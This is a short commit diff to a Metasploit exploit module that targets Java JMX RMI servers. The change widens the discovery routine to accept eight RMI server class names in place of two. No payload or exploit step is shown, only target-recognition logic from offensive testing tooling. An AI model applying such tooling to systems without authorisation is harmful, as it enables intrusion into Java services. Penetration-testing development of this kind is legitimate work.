Added all the classes that implement RMI server

modules/exploits/multi/misc/java_jmx_server.rb

@@ -193,10 +193,20 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def discover_endpoint
+    rmi_classes = [
+      'RMIConnectionImpl',
+      'RMIConnectionImpl_Stub',
+      'RMIConnector',
+      'RMIConnectorServer',
+      'RMIIIOPServerImpl',
+      'RMIJRMPServerImpl',
+      'RMIServerImpl',
+      'RMIServerImpl_Stub'
+    ]
     ref = send_registry_lookup(name: datastore['JMXRMI'])
     return nil if ref.nil?
 
-    unless ref[:object] == 'javax.management.remote.rmi.RMIServer' || ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'
+    unless rmi_classes.include? ref[:object]
       vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
       return nil
     end